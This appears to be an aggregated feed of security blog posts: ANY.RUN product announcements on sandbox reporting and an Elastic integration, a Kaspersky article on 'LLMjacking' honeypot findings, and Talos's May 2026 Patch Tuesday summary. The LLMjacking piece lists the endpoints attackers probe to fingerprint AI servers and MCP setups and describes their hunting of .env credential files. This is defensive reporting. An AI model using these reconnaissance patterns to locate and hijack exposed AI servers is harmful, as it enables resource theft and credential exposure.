Unlimited access is available for Enterprise Suite and Hunter plans. Free plan users have a shared limit of 5 generations for both the Tier 1 report and AI Summary. 

Conclusion 

ANY.RUN’s new Tier 1 reports and AI Summary convert sandbox analysis outputs into structured, operationally ready documents that support every stage of the incident lifecycle, from initial triage to executive visibility. 

Embedding Interactive Sandbox directly into a SOC workflow strengthens overall security operations maturity by allowing for faster and more confident decision-making across processes. 

About ANY.RUN 

ANY.RUN delivers cybersecurity solutions designed to support real-world SOC operations. They help security teams understand threats faster, make informed decisions, and operationalize threat intelligence across detection, investigation, and response workflows. 

The company’s solutions include Interactive Sandbox for enterprise-grade malware analysis, as well as ANY.RUN’s Threat Intelligence with its modules Threat Intelligence Lookup and Threat Intelligence Feeds, providing continuously updated intelligence based on live attack analysis. 

Used by over 15,000 organizations and 600,000 security professionals worldwide, ANY.RUN is SOC 2 Type II certified, ensuring strong security controls and protection of customer data. 

Request access to ANY.RUN’s solutions →  

FAQ 

What are SOC-ready reports in ANY.RUN? 

SOC-ready reports are sandbox analysis summaries that provide operational context for faster triage, escalation, incident response, and internal reporting. 

Are Tier 1 reports designed only for Tier 1 analysts? 

No. While Tier 1 reports are designed to accelerate initial triage, they also support Tier 2, Tier 3, incident response teams, SOC managers, and CISOs by providing structured operational context, standardized reporting, and fast visibility into threat severity and business impact. 

What is included in ANY.RUN Tier 1 reports? 

Tier 1 reports include a threat verdict, AI Summary, MITRE ATT&CK mapping, behavioral indicators, and IOCs generated directly from Interactive Sandbox analysis. 

How does AI Summary improve incident response? 

AI Summary converts technical sandbox findings into concise operational explanations that help analysts and decision-makers quickly assess threat severity, business impact, and required response actions. 

Can ANY.RUN reports support SOC and MDR workflows? 

Yes. ANY.RUN’s SOC-ready reporting helps standardize triage, escalation, and investigation workflows across internal SOC, MDR, and MSSP teams. 

The post New SOC-Ready Reporting for Faster Triage, Escalation, and Incident Response with ANY.RUN  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

LLMjacking: what these attacks are, and how to protect AI servers

AI security covers more than just data theft prevention, restricting rogue AI agents, or stopping assistants from giving harmful advice. A relatively simple but rapidly scaling threat has emerged: attempts to hijack computational power and exploit someone else’s neural network for personal gain. This is known as LLMjacking. With AI compute costs widely predicted to surge dramatically, the number of attackers driven by these motives is poised to grow. Consequently, when deploying proprietary AI servers and their supporting ecosystems like RAG or MCP, it’s critical to establish rigorous security measures from day one.

Statistics from a honeypot

The speed and scale of these resource-hijacking attempts are best illustrated by an experiment documented in detail in April 2026. The investigator configured a Raspberry Pi to masquerade as a high-performance private AI server, and made it accessible from the internet. When queried, it reported the availability of Ollama, LM Studio, AutoGPT, LangServe, and text-gen-webui servers — all tools commonly used as wrappers for locally hosted AI models. The server also appeared ready to accept API requests in the OpenAI format, which has become the industry standard.

All these services were seemingly powered by a local instance of Qwen3-Coder 30B Heretic, one of the most powerful open-source models, with its safety alignment removed. To throw in a sweetener, the honeypot reported the presence of various RAG databases and an MCP server with tempting capabilities like get_credentials on board.

In reality, the Raspberry Pi was simply hosting 500 pre-saved responses from an actual Qwen3 model, with a lightweight script selecting the most relevant answer for each incoming query. This setup was enough to pass a superficial check while allowing the researcher to probe the attackers’ intentions.

According to the author, Shodan, a popular internet scanning service, discovered the server within three hours of its going live. Just one hour later, requests resembling capability reconnaissance began pouring in. Over the following month, the server handled more than 113 000 requests from thousands of unique IPs, with 23% of that traffic specifically targeted at discovering AI capabilities and exploiting local LLMs and AI agents.

Requests to endpoints like /api/tags and /v1/models allow attackers to fingerprint which models are hosted on a server, while scanning for /.cursor/rules typically precedes an attempt to exploit an AI agent. Similarly, checking /.well-known/mcp.json serves as an inventory of the victim’s MCP servers. While the author makes no mention of the total number of attacks that progressed beyond simple scanning, there were 175 active attempts to hijack the LLM during the final week of the experiment alone.

What are the attackers after?

Based on the researcher’s observations, none of those targeting the decoy server attempted to execute arbitrary code or gain root access. (Editorial note: this is surprising and may point to gaps in logging.) Almost all attacks were aimed at siphoning resources. For example, the following activities were logged during the experiment:

  • A well-structured attempt to parse technical documentation for a microprocessor
  • A prompt to write an erotic novel
  • Requests to parse and structure social media text data regarding new vulnerabilities
  • An attempt to call Anthropic models using the compromised server as an API proxy

It’s worth noting that the reconnaissance of AI resources uses standardized and rapidly evolving tools. Requests from an application named LLM-Scanner originated from the infrastructure of seven different cloud providers across eight countries, suggesting that the raiders have put established methodologies in place, as well as specialized platforms for sharing techniques. By the third week of the experiment, the scanner had been updated with an additional check: it now used simple abstract questions to determine whether it’s interacting with live AI or a honeypot returning canned responses.

Among the non-specific attacks, the experiment recorded numerous attempts to exfiltrate credentials from the .env file. Attackers systematically hunted for this file across every conceivable directory on the server. Leaving an .env file publicly accessible is one of the most elementary mistakes when deploying projects on Laravel, Node.js, and other frameworks, yet it remains a common oversight — particularly among beginners and vibe coders. Consequently, attackers have every reason to expect their efforts to pay off.

Conclusions and defense tips

Scanning publicly accessible servers and attempting to exploit them is nothing new, but the rise of LLMs gives attackers another way to monetize their efforts — one that’s both highly lucrative for them and devastating for their victims. To understand how massive these attacks could become, look at their closest counterpart: the cryptojacking market — where criminals mine cryptocurrency using stolen computational resources. That market grew by 20% in 2025 alone. As AI-powered solutions proliferate, and as major providers hike subscription costs while local AI chips remain in short supply, we should expect LLMjacking to become an industrial-scale phenomenon.

Key defensive measures for private AI infrastructure

  • For AI systems running locally on a single machine, ensure that servers like LM Studio, Ollama, or similar are configured to accept connections only on the local interface (localhost), rather than all available network interfaces. This restricts LLM access to the host machine itself, and prevents the AI from being reachable over the internet.
  • For servers handling remote requests — even if the server only operates within a local corporate network — implement robust authentication and authorization rather than relying solely on API key validation. Solutions based on OIDC or OAuth2 with short-lived tokens are the most effective. This not only defends against LLMjacking, but also allows for more granular tracking of user activity, and prevents API key abuse. Furthermore, keys must be protected from more than just external attackers; a growing risk is the misuse of keys by AI agents themselves. This applies to LLM interfaces as well as MCP, RAG, and others.
  • Use network segmentation and IP allowlists to give AI server access only to the departments, employees, and services that require it.
  • Ensure that all client-server connections are secured with a current version of TLS.
  • Apply the principle of least privilege by separating access to specific services; for instance, MCP and LLM components should have their own distinct access tokens.
  • Ensure an EDR security agent is installed on all workstations and servers, including those hosting AI models.
  • Monitor AI resource consumption, establish usage quotas for different employee roles, and set up alerts for anomalous activity spikes.
  • Maintain detailed logs of LLM responses and requests made to the model and its supporting tools. Integrate these data sources with your SIEM. Ensure logs are resilient against tampering or deletion.

Kaspersky official blog – ​Read More

Microsoft Patch Tuesday for May 2026 — Snort rules and prominent vulnerabilities

Microsoft Patch Tuesday for May 2026 — Snort rules and prominent vulnerabilities

By Jaeson Schultz 

Microsoft has released its monthly security update for May 2026, which includes 137 vulnerabilities affecting a range of products, including 31 that Microsoft marked as “critical”. 

In this month’s release, Microsoft has not observed any of the included vulnerabilities being actively exploited in the wild. Out of 31 “critical” entries, 16 are remote code execution (RCE) vulnerabilities in Microsoft Windows services and applications including Microsoft Office, Microsoft Word, Windows Native WiFi Miniport Driver, Azure, Office for Android, Microsoft Dynamics 365, Windows GDI, Microsoft SharePoint, Windows Graphics Component, Windows Netlogon, and Windows DNS Client. 

CVE-2026-32161 is a critical use after free vulnerability. Concurrent execution using a shared resource with improper synchronization (‘race condition’) in Windows Native WiFi Miniport Driver allows an unauthorized attacker to execute code over an adjacent network. 

CVE-2026-33109 is a critical access control vulnerability in Azure Managed Instance for Apache Cassandra. Improper access control allows an authorized attacker to execute code over a network.

CVE-2026-33844 is a critical input validation vulnerability in Azure Managed Instance for Apache Cassandra. Improper input validation allows an authorized attacker to execute code over a network.

CVE-2026-35421 is a critical heap-based buffer overflow vulnerability in Windows GDI that allows an unauthorized attacker to execute code locally. For this vulnerability to be exploited, a user would need to open or otherwise process a specially crafted Enhanced Metafile (EMF) file using Microsoft Paint. This action is necessary to trigger the affected graphics functionality in the Windows component. 

CVE-2026-40358 is a critical use after free vulnerability in Microsoft Office which allows an unauthorized attacker to execute code locally. 

CVE-2026-40361 is a critical use after free vulnerability in Microsoft Word that allows an unauthorized attacker to execute code locally. 

CVE-2026-40363 is a critical heap-based buffer overflow in Microsoft Office which allows an unauthorized attacker to execute code locally. 

CVE-2026-40364 is a critical heap-based buffer overflow vulnerability. Access of resource using incompatible type (‘type confusion’) in Microsoft Office Word allows an unauthorized attacker to execute code locally. 

CVE-2026-40365 is a critical vulnerability affecting Microsoft SharePoint. Insufficient granularity of access control allows an authorized attacker to execute code over a network. In a network-based attack, an authenticated attacker, as at least a Site Owner, could write arbitrary code to inject and execute code remotely on the SharePoint Server. 

CVE-2026-40366 is a critical use after free vulnerability in Microsoft Word which allows an unauthorized attacker to execute code locally. 

CVE-2026-40367 is a critical vulnerability affecting Microsoft Word. An untrusted pointer dereference may allow an unauthorized attacker to execute code locally. 

CVE-2026-40403 is a critical heap-based buffer overflow vulnerability in Windows Win32K – GRFX that allows an authorized attacker to execute code locally. This vulnerability could lead to a contained execution environment escape. In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the machine when a victim connects to the attacking server with a vulnerable Remote Desktop Client. 

CVE-2026-41089 is a critical stack-based buffer overflow in Windows Netlogon that allows an unauthorized attacker to execute code over a network. An attacker could send a specially crafted network request to a Windows server that is acting as a domain controller. If successful, this could cause the Netlogon service to improperly handle the request, potentially allowing the attacker to run code on the affected system without needing to sign in or have prior access. 

CVE-2026-41096 is a critical heap-based overflow vulnerability in Windows DNS Client. An attacker could exploit this vulnerability by sending a specially crafted DNS response to a vulnerable Windows system, causing the DNS Client to incorrectly process the response and corrupt memory. In certain configurations, this could allow the attacker to run code remotely on the affected system without authentication. 

CVE-2026-42831 is a critical heap-based buffer overflow vulnerability in Office for Android that allows an unauthorized attacker to execute code locally. An attacker must send a user a malicious Office file and convince them to open it. 

CVE-2026-42898 is a critical code injection vulnerability in Microsoft Dynamics 365 (on-premises). Improper control of generation of code (‘code injection’) allows an authorized attacker to execute code over a network. An attacker with the required permissions could modify the saved state of a process session in Dynamics CRM and trigger the system to process that data, which could result in the server unintentionally executing malicious code.

Talos would also like to highlight the following “important” vulnerabilities as Microsoft has determined that their exploitation is “more likely:”   

  • CVE-2026-33835: Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability 
  • CVE-2026-33837: Windows TCP/IP Local Elevation of Privilege Vulnerability 
  • CVE-2026-33840: Win32k Elevation of Privilege Vulnerability 
  • CVE-2026-33841: Windows Kernel Elevation of Privilege Vulnerability 
  • CVE-2026-35416: Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability 
  • CVE-2026-35417: Windows Win32k Elevation of Privilege Vulnerability 
  • CVE-2026-40369: Windows Kernel Elevation of Privilege Vulnerability 
  • CVE-2026-40397: Windows Common Log File System Driver Elevation of Privilege Vulnerability 
  • CVE-2026-40398: Windows Remote Desktop Services Elevation of Privilege Vulnerability 

A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its update page.    

In response to these vulnerability disclosures, Talos is releasing a new Snort ruleset that detects attempts to exploit some of them. Please note that additional rules may be released at a future date, and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Ruleset customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.    

Snort 2 rules included in this release that protect against the exploitation of many of these vulnerabilities are: 1:66438-1:66445, 1:66451-1:66460, and 1:66470-1:66476.  

The following Snort 3 rules are also available: 1:301494-1:301497, 1:301500-1:301506, 1:66472-1:66473, and 1:66476. 

Cisco Talos Blog – ​Read More

ANY.RUN & Elastic Security: Bring Threat Intelligence into Detection and Investigation Workflows      

Security teams don’t lack data. They lack timely, usable intelligence. Analysts spend too much time validating indicators, switching between tools, and figuring out what actually matters. This introduces delays and puts organizations at risk of a missed incident.  

ANY.RUN solves this by bringing real-time, behavior-validated threat intelligence from ANY.RUN integrated into Elastic Security, where SOC and MSSP teams detect emerging cyberattacks earlier and respond faster without changing their workflows.  

ANY.RUN Threat Intelligence Feeds x Elastic Security: About the Integration  

Integrate ANY.RUN’s TI Feeds in Elastic Security → 

Elastic Security unifies SIEM, endpoint security, and cloud security to help teams protect, investigate, and respond to threats.  

Through the ANY.RUN Threat Intelligence Feeds integration, organizations can ingest third-party threat indicators into Elastic Security and use them in detection, investigation, and threat intelligence workflows. This helps analysts bring external threat context into the same platform they use for security operations.   

ANY.RUN’s Threat Intelligence Feeds are built from live sandbox investigations across more than 15,000 organizations and 600,000 SOC professionals. Indicators reflect infrastructure actively used in phishing, malware delivery, and attacker campaigns, not delayed or aggregated data. Each IOC includes context and a direct link to the sandbox report, allowing analysts to quickly understand threat behavior and TTPs.  

The integration is available as a plug-and-play solution that only requires an active TI Feeds license (via trial or a paid subscription).  

IOC overview of Threat Intelligence Feeds inside Elastic Security 

Once configured, Elastic Security can ingest indicators such as IPs, domains, and URLs from the integration on a scheduled basis. Those indicators can then be used across supported detection, investigation, and visualization workflows.     

The additional context associated with ingested indicators can help analysts triage and investigate alerts more efficiently.  

Bring fresh, sandbox-backed IOCs into your SOC workflows.
Give your team the context to investigate faster and reduce business risk.



Contact us


How Threat Intelligence Feeds Improve Detection and Shorten MTTR in Elastic Security  

The integration embeds threat intelligence directly into daily SOC workflows inside Elastic Security. Analysts don’t need to manually check indicators in external tools or move data between systems.  

Here is what your team gains:  

  • Detect threats early: Use fresh indicators from live attacks to identify malicious activity sooner.   
  • Validate alerts with real context: Use sandbox-backed evidence instead of relying only on static indicators.  
  • Reduce manual work: Eliminate repetitive enrichment steps and tool switching.  
  • Improve detection quality: Use high-confidence indicators directly in rules and correlation logic.   
  • Speed up triage and response: Access context instantly and make faster decisions.   

Together, these improvements help reduce MTTD and MTTR, lower incident response costs, and increase analyst efficiency by enabling teams to handle more cases without expanding headcount. 

Better detection coverage and earlier visibility into active threats contribute to overall business risk reduction by limiting the impact and spread of attacks.  

How to Set Up ANY.RUN’s Threat Intelligence Feeds in Elastic Security  

The integration is designed to be simple and flexible. Once you get an active TI Feeds access, you can navigate to the integration page and follow the instructions.  

Indicators are automatically ingested into Elastic and continuously updated. They become part of detection, search, and response workflows.  

With ANY.RUN Threat Intelligence Feeds in Elastic Security, teams can:  

  • Use ingested ANY.RUN indicators in Elastic Security detection workflows  
  • Match threat indicators against relevant security telemetry  
  • Support triage and investigation with additional indicator context  
  • Build dashboards and visualizations for threat intelligence monitoring  
  • Incorporate third-party indicators into detection and hunting workflows  

Conclusion  

With ANY.RUN Threat Intelligence Feeds integrated into Elastic’s Security  platform can further enhance customer’s security detection with timely, behavior-validated intelligence., Organizations can detect threats early, reduce manual effort, and make fast, confident decisions.   

This leads not only to better SOC performance, but also to measurable business impact. Early detection, fast response, and improved signal quality help reduce the likelihood and impact of incidents, ultimately lowering overall business risk.  

About ANY.RUN  

ANY.RUN helps security teams understand threats faster and take action with confidence. Its solutions are trusted by over 600,000 security professionals and more than 15,000 organizations across industries where speed and accuracy are critical for effective response.  

ANY.RUN’s Interactive Sandbox allows teams to safely analyze suspicious files and URLs, observe real behavior in real time, and confirm threats before they spread.  

Combined with Threat Intelligence Lookup and Threat Intelligence Feeds, it provides the context needed to prioritize alerts, reduce uncertainty, and stop advanced attacks earlier in the response cycle.  

Request access to ANY.RUN’s solutions →  

The post ANY.RUN & Elastic Security: Bring Threat Intelligence into Detection and Investigation Workflows       appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More